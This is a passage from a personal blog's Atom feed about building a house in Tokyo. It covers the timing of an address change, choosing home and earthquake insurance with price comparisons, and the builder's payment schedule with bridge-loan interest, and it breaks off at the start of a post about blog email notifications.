&lt;p&gt;&lt;a href=&quot;https://brein.base-on.com/archives/2614&quot;&gt;Other sites&lt;/a&gt; and &lt;a href=&quot;https://www.reddit.com/r/japanlife/comments/16jxvbz/changing_address_before_new_home_purchase/&quot;&gt;people in this reddit thread&lt;/a&gt; all suggest that changing the address before signing the mortgage is very common practice, and never prosecuted. This makes sense: the government offices only care about having correct records, and a few days difference is not something they (usually) mind.&lt;/p&gt;

&lt;h2 id=&quot;our-city-hall&quot;&gt;Our city hall&lt;/h2&gt;

&lt;p&gt;We called our city hall to ask their advice. They told us that legally it is not okay to update the address before the move, but people still often do it, and the city hall has no way of checking when we actually move, so… Essentially suggesting that we can go ahead with it, but it’s still in a legal gray zone (they used the gray zone expression, but I don’t actually think this is gray. The law is clear, this is illegal, however it is almost never prosecuted, so it is fine.)&lt;/p&gt;

&lt;h2 id=&quot;our-decision&quot;&gt;Our decision&lt;/h2&gt;

&lt;p&gt;We decided to only update our address after we actually move. This was done to stay on the legal side of things, and also because we have other ongoing things with the nursery that work out better this way.&lt;/p&gt;

&lt;p&gt;This does mean though that I will need to update the real estate registry after we move, and I will write a separate post about that.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Home insurance in Japan</title>
   <link href="https://szabo.jp/2025/10/22/home-insurance/"/>
   <updated>2025-10-22T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/10/22/home-insurance</id>
   <content type="html">&lt;p&gt;We are building our house in Tokyo, and as the construction is coming to an end, we looked into home insurance.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;is-it-mandatory&quot;&gt;Is it mandatory?&lt;/h2&gt;

&lt;p&gt;No, home insurance is not mandatory in Japan, although the mortgage lender might require it (&lt;a href=&quot;https://kasai.insweb.co.jp/not-subscribe/&quot;&gt;source&lt;/a&gt;). Our bank (SMTB, 三井住友信託銀行) requires it for the mortgage.&lt;/p&gt;

&lt;h2 id=&quot;earthquakes-are-special&quot;&gt;Earthquakes are special&lt;/h2&gt;

&lt;p&gt;There are two major types of coverage: earthquake, and everything else. The reason for this distinction is that if a big earthquake would to hit a major city (e.g. Tokyo), then insurance providers could face bankruptcy. So the government re-insures the earthquake insurances, however as a result of this, they also enforce some additional rules (&lt;a href=&quot;https://www.nihonjishin.co.jp/insurance/about.html&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;earthquake insurance can only be bought together with fire insurance&lt;/li&gt;
  &lt;li&gt;coverage is limited to 30-50% of the coverage of the fire insurance. This means that while fire insurance might pay the entire value of the house, earthquake insurance will only pay half or less&lt;/li&gt;
  &lt;li&gt;fire, tsunami, vulcanic eruptions, etc. that happen as a result of an earthquake will be covered by the earthquake insurance (with the lower limits)&lt;/li&gt;
  &lt;li&gt;pre-defined damage classifications and corresponding payouts (e.g. partial loss of 3-20% will pay 5% of the insured value)&lt;/li&gt;
  &lt;li&gt;if the overall (country-wide) damage is truly huge (exceeds a government defined amount based on the &lt;a href=&quot;https://en.wikipedia.org/wiki/1923_Great_Kant%C5%8D_earthquake&quot;&gt;1923 Great Kanto Earthquake&lt;/a&gt;), then all payouts will be scaled down by the same percentage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This does mean that if your house gets destroyed in an earthquake, the insurance won’t cover the cost of rebuilding. Some insurance companies offer additional insurance to bring the coverage up to 100%, but those can be expensive, and as they are not part of the government reinsured scheme, they might not get paid if the insurance company becomes insolvent.&lt;/p&gt;

&lt;h2 id=&quot;fireproof-houses&quot;&gt;Fireproof houses&lt;/h2&gt;

&lt;p&gt;Since fire insurance is the mandatory, basic block of the home insurance, a lot depends on how fireproof the house is. This depends on the building structure (建物の構造). For the calculation there is a &lt;a href=&quot;https://hoken.kakaku.com/kasai/select/kouzou/#:~:text=%E8%A9%B2%E5%BD%93%E3%81%97%E3%81%AA%E3%81%84%E5%BB%BA%E7%89%A9-,%E6%A7%8B%E9%80%A0%E7%B4%9A%E5%88%A5%E3%81%AE%E5%88%A4%E5%AE%9A%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88,-%E5%BB%BA%E7%89%A9%E3%81%AE%E6%A7%8B%E9%80%A0&quot;&gt;common flowchart used by many websites&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-10-22-home-insurance/kasai_kouzou_chart.png#lb&quot; alt=&quot;Fire resistance classification flowchart (source: https://hoken.kakaku.com)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Which comes down to the following for single-family houses:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Are the pillars “Concrete structure” or “Steel frame structure”?
    &lt;ul&gt;
      &lt;li&gt;Yes → T-Structure (Fire-resistant Structure)&lt;/li&gt;
      &lt;li&gt;No → Is it fire-resistant (耐火建築物), semi-fire-resistant (準耐火建築物), or quasi-fire-resistant by ministerial ordinance (省令準耐火)?
        &lt;ul&gt;
          &lt;li&gt;Yes → T-Structure (Fire-resistant Structure)&lt;/li&gt;
          &lt;li&gt;No → H-Structure (Other Structures)&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href=&quot;https://www.ichijo.co.jp/technology/element/fireproof/#:~:text=%E4%B8%80%E6%9D%A1%E3%81%AE%E5%AE%B6%E3%81%AF%E3%80%81%E7%81%AB%E3%81%AB%E5%BC%B7%E3%81%84%E3%80%8C%E7%9C%81%E4%BB%A4%E6%BA%96%E8%80%90%E7%81%AB%E6%A7%8B%E9%80%A0%E3%80%8D%E3%81%AB%E9%81%A9%E5%90%88%E3%80%82%E4%B8%87%E3%81%8C%E4%B8%80%E3%81%AE%E7%81%AB%E7%81%BD%E3%81%AE%E3%81%A8%E3%81%8D%E3%82%82%E3%80%81%E8%A2%AB%E5%AE%B3%E3%82%92%E6%9C%80%E5%B0%8F%E9%99%90%E3%81%AB%E6%8A%91%E3%81%88%E3%81%BE%E3%81%99%E3%80%82%E3%81%BE%E3%81%9F%E3%80%81%E3%80%8C%E3%83%95%E3%82%A1%E3%82%A4%E3%83%A4%E3%83%BC%E3%82%B9%E3%83%88%E3%83%83%E3%83%97%E6%A7%8B%E9%80%A0%E3%80%8D%E3%81%AB%E3%82%88%E3%82%8A%E3%80%81%E7%81%AB%E3%81%AE%E9%80%9A%E3%82%8A%E9%81%93%E3%81%A8%E3%81%AA%E3%82%8B%E5%A3%81%E3%81%AA%E3%81%A9%E3%81%AE%E5%86%85%E5%81%B4%E3%81%AB%E3%81%8A%E3%81%84%E3%81%A6%E3%80%81%E6%9E%A0%E7%B5%84%E6%9D%90%E3%81%8C%E7%A9%BA%E6%B0%97%E3%81%AE%E6%B5%81%E3%82%8C%E3%82%92%E9%81%AE%E6%96%AD%E3%81%97%E3%80%81%E7%81%AB%E3%81%AE%E7%87%83%E3%81%88%E5%BA%83%E3%81%8C%E3%82%8A%E3%82%92%E3%81%8F%E3%81%84%E6%AD%A2%E3%82%81%E3%81%BE%E3%81%99%E3%80%82&quot;&gt;All Ichijo houses are “quasi-fire-resistant by ministerial ordinance” (省令準耐火)&lt;/a&gt; so we fall into the T-Structure category resulting in a lower insurance premium.&lt;/p&gt;

&lt;h2 id=&quot;ichijo-introduced-insurance-tokyo-marine&quot;&gt;Ichijo introduced insurance (Tokyo Marine)&lt;/h2&gt;

&lt;p&gt;Ichijo sent us a letter back in May (around the time they started building the foundation) telling us that we don’t need to worry about home insurance, they will introduce a great deal for us at a later time. It felt a bit too much to send a paper letter just for this, but I guess they had people ask about it, or get their own insurance before the introduction.&lt;/p&gt;

&lt;p&gt;Then in August (so about 2.5 months before the house was ready) we got the details in the mail: red big letters  saying that we will save 80% thanks to this great deal. The insurance company is &lt;a href=&quot;https://www.tokiomarine-nichido.co.jp/&quot;&gt;東京海上日動, Tokyo Marine Nichido&lt;/a&gt; one of the 3 big non-life insurance companies of Japan (&lt;a href=&quot;https://shikiho.toyokeizai.net/news/0/854211&quot;&gt;三メガ損保&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Details of the quote:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Insured amounts for fire insurance (everything other than earthquake)
    &lt;ul&gt;
      &lt;li&gt;House: 35.6 million yen&lt;/li&gt;
      &lt;li&gt;Personal belongings: 5 million yen&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Insured amounts for earthquake (half of the above)
    &lt;ul&gt;
      &lt;li&gt;House: 17.8 million yen&lt;/li&gt;
      &lt;li&gt;Personal belongings: 2.5 million yen&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Length: 5 year&lt;/li&gt;
  &lt;li&gt;Deductible (amount to pay out of pocket): 0 yen, except for damage caused by other people (neighbor, break-in) or ourselves. These have a deductible of 50,000 yen&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They included 3 potential plans. All amounts are for the full 5 years to be paid at once at the start.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Name of the plan&lt;/th&gt;
      &lt;th&gt;Content&lt;/th&gt;
      &lt;th&gt;Price (5 year)&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Basic plan (基本しっかりプラン)&lt;/td&gt;
      &lt;td&gt;Fire, wind, water (flooding), and earthquake damages.&lt;/td&gt;
      &lt;td&gt;230,200 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Solid and secure plan (がっちり安心補償プラン)&lt;/td&gt;
      &lt;td&gt;The above and also damages by other people - break-ins, neighbor damaging your place (feels more relevant for apartments)&lt;/td&gt;
      &lt;td&gt;238,880 yen&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Complete peace of mind plan (まるごと安心補償プラン)&lt;/td&gt;
      &lt;td&gt;The above and damages by ourselves (e.g. dropping an expensive vase, breaking the wall when carrying heavy things)&lt;/td&gt;
      &lt;td&gt;249,430 yen&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;The plans are not that different in price, but also the coverage doesn’t really increase (remember, the additional coverages of #2 and #3 all come with a 50,000 yen deductible).&lt;/p&gt;

&lt;h3 id=&quot;long-phone-calls&quot;&gt;Long phone calls&lt;/h3&gt;

&lt;p&gt;A few weeks after receiving the letter with the above information, I got a phone call from Tokyo Marine wanting to discuss the insurance. It took about 40 minutes mainly because both me, my wife, but also the insurance person was unprepared (e.g. I was surprised by earthquake insurance covering only half and wanted to know the reason, which the person didn’t know).&lt;/p&gt;

&lt;p&gt;One optional extra that I wanted to add was the personal liability insurance (個人賠償責任補償特約). This covers cases where someone from my family injures another person or causes damage to their property (e.g. kids dropping something in a store, breaking a friend’s TV, scratching a car). I was told that this costs 10,050 yen (coverage limit of 100 million yen) or 11,300 yen (without limit) for the 5 years. Pretty reasonable. So I asked them if I can just add this when I scan the QR code on the paper to apply for the insurance. I was told no, they will have to send me a new paper letter with a new QR code. On the QR code I can only pay for the insurance detailed in the letter.&lt;/p&gt;

&lt;p&gt;We asked if insurance claims are also handled over the phone, and they told us that no, they have a website for that. They also said that generally they pay the insurance claims within 30 days, but if there is a major earthquake in Tokyo, then it would likely take longer.&lt;/p&gt;

&lt;p&gt;Our address wasn’t finalized yet, so they asked if they could call us a week later to get that updated (again, sending another letter with the new contract). They said they can’t do this via e-mail, only on the phone, so we agreed. Second phone call also took longer than 20 minutes.&lt;/p&gt;

&lt;p&gt;By this point my wife was pretty unhappy with the whole process: having mostly pointless long phone calls, having to reissue the quote on paper for all minor change, etc. I was also concerned that this is the process where they want to take our money, and if this process is so bad, then imagine the insurance claims process where we are trying to take their money. I have very little hope that it would be more user friendly.&lt;/p&gt;

&lt;p&gt;Later they called us a third time. The caller person was different, and he was okay to send us the new quote via email this time, so maybe we just got unlucky with the first person? Still, we were loosing confidence in them.&lt;/p&gt;

&lt;h2 id=&quot;kakaku-to-the-rescue&quot;&gt;Kakaku to the rescue&lt;/h2&gt;

&lt;p&gt;Similar to &lt;a href=&quot;/2025/08/03/car-insurance/&quot;&gt;my car insurance experience&lt;/a&gt; I took a look at &lt;a href=&quot;https://kakaku.com/&quot;&gt;価格.com&lt;/a&gt;, the popular price comparison website. On their &lt;a href=&quot;https://hoken.kakaku.com/kasai/&quot;&gt;home insurance section&lt;/a&gt; I searched for the same content as we got from Tokyo Marine:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-10-22-home-insurance/kakaku-search.png#lb&quot; alt=&quot;Searching on kakaku.com&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And the results didn’t look very good:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2025-10-22-home-insurance/kakaku-results.png#lb&quot; alt=&quot;Results on kakaku.com&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Was the Ichijo-special Tokyo Marine offer actually a good deal? It was the cheapest but not by a big margin, so I decided to take a look on the insurance website to see if I can remove some unnecessary coverage and get it down to be competitive with Tokyo Marine.&lt;/p&gt;

&lt;h2 id=&quot;sony-insurance&quot;&gt;Sony insurance&lt;/h2&gt;

&lt;p&gt;I had great experience with Sony travel insurance in the past (and also this was the cheapest company that I recognized the name of), so I decided to check them out. Kakaku also listed that they pay claims within 2 business days in general (4 business days in some cases), which is much better than the 30 day promise of Tokyo Marine.&lt;/p&gt;

&lt;p&gt;I go through the Sony insurance wizard and get an estimate of 201,420 yen (for the full, everything included plan). How did the Kakaku 336,783 yen go down this much? I believe it’s because Kakaku didn’t ask for the earthquake resistance of the building, and since Ichijo houses have the highest (level 3) earthquake resistance, that saves 50% of the earthquake insurance part of the quote.&lt;/p&gt;

&lt;h3 id=&quot;make-earthquake-insurance-cover-100&quot;&gt;Make earthquake insurance cover 100%&lt;/h3&gt;

&lt;p&gt;Sony has the additional option to increase the earthquake coverage to 100% (technically it is a separate insurance that pays out the same amount as the earthquake insurance if at least half the house is destroyed). The cost of this is an extra 182,290 yen for 5 years, almost doubling the price of the insurance.&lt;/p&gt;

&lt;p&gt;Since our house is pretty earthquake and fire resistant, we decided not to take this. (Even if a big earthquake would to hit, it is unlikely that our house would get damaged to an extent where we would need this payout. If there is only minor damage, then both the cost of fixing and the insurance payout are lower, and we can cover the other half of the cost out-of-pocket.)&lt;/p&gt;

&lt;h2 id=&quot;fine-tuning&quot;&gt;Fine-tuning&lt;/h2&gt;

&lt;p&gt;We don’t really have expensive belongings, so decided to limit the coverage to the house-only (the original quote had a coverage of 5 million yen for things inside the house). The site also showed us the breakdown cost of each option. This gave us the option to fine-tune the coverage and get what we think is necessary.&lt;/p&gt;

&lt;p&gt;In the end we decided to get these:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Coverage&lt;/th&gt;
      &lt;th&gt;Premium for 5 year&lt;/th&gt;
      &lt;th&gt;Notes&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Earthquake (incl. volcanic eruptions and tsunami)&lt;/td&gt;
      &lt;td&gt;114,900 yen&lt;/td&gt;
      &lt;td&gt;Required by our bank&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Fire, lightning, rupture/explosion&lt;/td&gt;
      &lt;td&gt;9,445 yen&lt;/td&gt;
      &lt;td&gt;Mandatory&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Wind, hail, snow&lt;/td&gt;
      &lt;td&gt;6,837 yen&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Water (typhoon, storm, floods, landslides)&lt;/td&gt;
      &lt;td&gt;32,014 yen&lt;/td&gt;
      &lt;td&gt;We are not in a flood zone, but included it for typhoon and storm coverage&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Water damage from burst pipes, collision with external objects, vandalism&lt;/td&gt;
      &lt;td&gt;4,966 yen&lt;/td&gt;
      &lt;td&gt;Included it for a potential leaking washing machine or burst pipes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Break-in&lt;/td&gt;
      &lt;td&gt;720 yen&lt;/td&gt;
      &lt;td&gt;It was cheap&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Personal liability compensation (for the entire family, up to 300 million yen)&lt;/td&gt;
      &lt;td&gt;7,161 yen&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;We skipped on the following options:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Option&lt;/th&gt;
      &lt;th&gt;Premium for 5 year&lt;/th&gt;
      &lt;th&gt;Reason&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Increasing earthquake insurance to 100%&lt;/td&gt;
      &lt;td&gt;182,290 yen&lt;/td&gt;
      &lt;td&gt;Too expensive; major damage unlikely even if a ‘big one’ hits&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Extra insurance for fire spreading from our house to others&lt;/td&gt;
      &lt;td&gt;3,650 yen&lt;/td&gt;
      &lt;td&gt;House is fire-resistant; neighbors not close&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Damage or stains from our own mistakes (walls, furniture, etc.)&lt;/td&gt;
      &lt;td&gt;20,441 yen&lt;/td&gt;
      &lt;td&gt;Has 50,000 yen deductible; We don’t own expensive items&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;10% extra payout for any insurance payout&lt;/td&gt;
      &lt;td&gt;3,290 yen&lt;/td&gt;
      &lt;td&gt;Up to 1 million yen; Feels unnecessary&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;We got an additional 500 yen discount for agreeing to only get the documents electronically.&lt;/p&gt;

&lt;p&gt;This brought our end price to 175,633 yen for the 5 years, saving us 55,000-75,000 yen compared to the  quote from Tokyo Marine.&lt;/p&gt;

&lt;h2 id=&quot;documents-for-the-application&quot;&gt;Documents for the application&lt;/h2&gt;

&lt;p&gt;During the application process Sony asked for 3 documents to upload:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Documents proving building information&lt;/strong&gt; (建物情報を証明する書類):
    &lt;ul&gt;
      &lt;li&gt;Confirmation notice and confirmation certificate (確認通知書・確認済証)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Documents proving fire resistance&lt;/strong&gt; (耐火性能を証明する書類). One of the following:
    &lt;ul&gt;
      &lt;li&gt;Building confirmation application form (建築確認申請書)&lt;/li&gt;
      &lt;li&gt;Design specifications, blueprints, etc. (設計仕様書・設計図面など)
        &lt;ul&gt;
          &lt;li&gt;Documents issued by the construction company, house manufacturer, or seller that indicate fire resistance. Please note that these documents cannot be used if the main structural components of the building are fire-resistant or semi-fire-resistant. (施工業者・ハウスメーカーまたは販売者が発行した書類のうち、耐火性能を示す記載があるものです。なお、建物の主要構造部が「耐火構造」「準耐火構造」等の場合はご利用いただけません。)&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;Building structure (fire resistance standard) certificate (建物構造（耐火基準）証明書)
        &lt;ul&gt;
          &lt;li&gt;This document is created by having construction companies and home builders fill out the insurance company’s &lt;a href=&quot;https://www.sonysonpo.co.jp/fire/doc/scht_002.html&quot;&gt;designated form.&lt;/a&gt; (施工業者・ハウスメーカーに、当社所定の用紙を記入いただいて作る書類です。)&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;Existing insurance policy from another company (他社の保険証券等) - when switching from an existing insurance&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Documents proving eligibility for earthquake insurance discounts&lt;/strong&gt; (地震保険割引の適用対象を証明する書類). One of the following:
    &lt;ul&gt;
      &lt;li&gt;Housing performance evaluation report (住宅性能評価書)&lt;/li&gt;
      &lt;li&gt;Certificate of Compliance for Flat 35S (フラット35Sに関する適合証明書)&lt;/li&gt;
      &lt;li&gt;Long-term quality housing technical inspection certificate (長期優良住宅の技術的審査適合証)&lt;/li&gt;
      &lt;li&gt;Existing insurance policy from another company (他社の保険証券等) - when switching from an existing insurance&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We had the first (Confirmation notice and confirmation certificate) and third (Housing performance evaluation report) already. For the second, we had the Building confirmation application form (建築確認申請書), but that didn’t indicate our house’s fire resistance (quasi-fire-resistant by ministerial ordinance, 省令準耐火), so we couldn’t use it. We also couldn’t find this information on any other document from Ichijo, so we asked them to provide it. (We found &lt;a href=&quot;https://ismart-kurashi.com/archives/15664391.html&quot;&gt;another blog where they talk about the same situation&lt;/a&gt;.)&lt;/p&gt;

&lt;p&gt;Ichijo filled out and sent us the &lt;a href=&quot;https://www.sonysonpo.co.jp/fire/doc/scht_002.html&quot;&gt;template provided by Sony&lt;/a&gt; in a few days, and we attached that to the application.&lt;/p&gt;

&lt;p&gt;After finalizing all the inputs and uploading the 3 documents, we were presented with this timeline:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Within 2 days SONY will check the uploaded documents&lt;/li&gt;
  &lt;li&gt;Then we can choose the payment method&lt;/li&gt;
  &lt;li&gt;Within 2 days SONY confirms the payment method&lt;/li&gt;
  &lt;li&gt;We need to pay (in case of credit card, they just charge it so this step is not necessary)&lt;/li&gt;
  &lt;li&gt;Everything is done&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It took them exactly 48 hours for the initial confirmation, then I registered my credit card on the website. The next morning they charged the card and sent the “everything is done “ (契約手続完了) email.&lt;/p&gt;

&lt;p&gt;The email said that they will send the insurance certificate by mail. If you chose paperless documents (what we did), then they will send a postcard about the completion. We got the post card the next week.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Timing of the payments for the house, and the bridge loan (つなぎ融資)</title>
   <link href="https://szabo.jp/2025/10/05/bridge-loan/"/>
   <updated>2025-10-05T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/10/05/bridge-loan</id>
   <content type="html">&lt;p&gt;We are currently building our home in Tokyo with &lt;a href=&quot;/2025/05/24/ichijo-referral/&quot;&gt;Ichijo&lt;/a&gt;. I wrote about &lt;a href=&quot;/2025/05/04/cost-of-our-ichijo-house/&quot;&gt;the cost of our house&lt;/a&gt; before, and in this post I will cover the payment schedule, and how the bridge loan (つなぎ融資) comes into the picture.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;background&quot;&gt;Background&lt;/h2&gt;

&lt;p&gt;We are planning to cover 100% of the land and house with a mortgage (due to the super-low interest rate). The bank &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;gave us the money for the land when we closed on the land&lt;/a&gt;, but they only want to give the money for the building once it is ready (so that they have it as a collateral).&lt;/p&gt;

&lt;p&gt;However Ichijo (and most other house maker companies) want to get paid in 3 installments:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;33% before construction starts (着手金) - Ichijo asks this more than 75 days before the structure is standing (上棟７５日前まで)&lt;/li&gt;
  &lt;li&gt;33% when the structure is standing (上棟金)&lt;/li&gt;
  &lt;li&gt;rest when the house is done&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For us this meant the following schedule:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;1 million yen deposit when signing the contract (January 2024)&lt;/li&gt;
  &lt;li&gt;10.9 million yen before starting construction (end of April 2025 - almost a month before the actual work began) - this is third minus the 1 million yen deposit
    &lt;ul&gt;
      &lt;li&gt;at the same time they also asked for 800,000 yen for incidentals (government applications, water and electricity connection fees, etc.) - the remainder of this will be refunded 1-2 months after the house is finished. I’m not fully sure why they didn’t just use the deposit for this, but I’m guessing there might be some accounting reasons&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;11.9 million yen when the structure was standing (middle of July 2025)&lt;/li&gt;
  &lt;li&gt;11.8 million yen when the house will be ready (end of October 2025)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;the-bank&quot;&gt;The bank&lt;/h2&gt;

&lt;p&gt;The banks generally only want to give you the mortgage when the collateral is there (they don’t want to deal with a builder going bankrupt). In some cases the bank and the building company might have a special partnership, and then the bank might be willing to give the money once the structure is standing, but not earlier (at least I haven’t heard of earlier).&lt;/p&gt;

&lt;p&gt;Our bank (住友三井信託銀行) has this type of partnership with Ichijo (一条工務店との提携ローン), however this comes with an extra limitation: the mortgage for the building can’t exceed 110% of the price of the house. This is normally fine, however we had to pay extra for connecting the land to the water pipe (1+ million yen), have the garden construction (2.5+ million), and also wanted to include the loan fee (2.2% - almost 1 million), so being limited to 10% would have meant that we would have had to pay out-of-pocket for half of these.&lt;/p&gt;

&lt;p&gt;Thus we decided to keep their regular loan, which doesn’t have the 10% limit, but the bank will only provide it once the house is ready. This is the usual way, and most people don’t have enough cash on hand to pre-pay the house payments, so what’s the solution?&lt;/p&gt;

&lt;h2 id=&quot;bridge-loan-つなぎ融資&quot;&gt;Bridge loan (つなぎ融資)&lt;/h2&gt;

&lt;p&gt;The solution is to take out another loan to cover the timing difference between the payments to the builder, and the time the mortgage is available. Since here the risk is about the building company going bankrupt, the bank didn’t ask for any major documents from me, and it was all handled through Ichijo. Suprisingly this was done with Mizuho bank (みずほ銀行), a bank other than the mortgage. More on bridge loans on the various bank websites, &lt;a href=&quot;https://www.mizuhobank.co.jp/loan_housing/faq/loanguide/tips/article12/index.html#:~:text=%E3%81%A4%E3%81%AA%E3%81%8E%E8%9E%8D%E8%B3%87%E3%81%A8%E3%81%AF%E3%80%81%E4%BD%8F%E5%AE%85,%E3%81%AE%E3%81%8C%E4%B8%80%E8%88%AC%E7%9A%84%E3%81%A7%E3%81%99%E3%80%82&quot;&gt;for example Mizuho&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The bridge loan has a higher risk, so the interest is also higher than mortgage. For us it was 2.025% (compared to the current 0.72% rate on our mortgage), however since it only goes for half year, the actual interest we will pay should be only around 200,000 yen.&lt;/p&gt;

&lt;h2 id=&quot;update-closing-calculations&quot;&gt;[update] Closing calculations&lt;/h2&gt;

&lt;p&gt;In the end &lt;a href=&quot;/2025/11/02/delay-in-the-mortgage/&quot;&gt;we had a minor delay in the payout of our mortgage&lt;/a&gt; so our bank sent the money to Ichijo towards the end of November, and Ichijo paid back the bridge loan the next day.&lt;/p&gt;

&lt;p&gt;The bridge loan had the three parts described above, and each of those incurred interest for their respective times charged at the yearly rate of 2.025% prorated to the length of the loan:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Installments&lt;/th&gt;
      &lt;th&gt;Amount&lt;/th&gt;
      &lt;th&gt;Interest&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;End of April&lt;/td&gt;
      &lt;td&gt;¥11,700,000&lt;/td&gt;
      &lt;td&gt;¥137,259&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Mid July&lt;/td&gt;
      &lt;td&gt;¥11,900,000&lt;/td&gt;
      &lt;td&gt;¥86,258&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;End of October&lt;/td&gt;
      &lt;td&gt;¥11,800,000&lt;/td&gt;
      &lt;td&gt;¥18,957&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Overall&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;¥242,474&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;So in the end we paid 242,474 yen in interest for the bridge loan. In addition, we were also charged 800 yen for for stamp duty (400 yen once, 200 yen twice).&lt;/p&gt;

&lt;p&gt;Overall the whole process was handled by Ichijo. We only had to fill out the initial application form (that our Ichijo contact brought to our apartment), and the rest was handled by Ichijo, including paying back the loan.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>New notifications system on this blog</title>
   <link href="https://szabo.jp/2025/10/04/new-blog-notifications/"/>
   <updated>2025-10-04T00:00:00+00:00</updated>
   <id>https://szabo.jp/2025/10/04/new-blog-notifications</id>
   <content type="html">&lt;p&gt;I’m hosting this blog on GitHub Pages, but wanted to give readers the option to subscribe to new posts. I recently changed how this is done, and I will cover it in this post.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;rss&quot;&gt;RSS&lt;/h2&gt;

&lt;p&gt;For tech-savvy people, it was easy to offer an RSS feed: &lt;a href=&quot;https://szabo.jp/atom.xml&quot;&gt;https://szabo.jp/atom.xml&lt;/a&gt;. I’m not sure if this came with Jekyll (the engine), or had to be configured separately, but it was easy.&lt;/p&gt;

&lt;p&gt;However I also wanted e-mail notifications.&lt;/p&gt;

&lt;h2 id=&quot;the-easy-way-use-another-service&quot;&gt;The easy way: use another service&lt;/h2&gt;

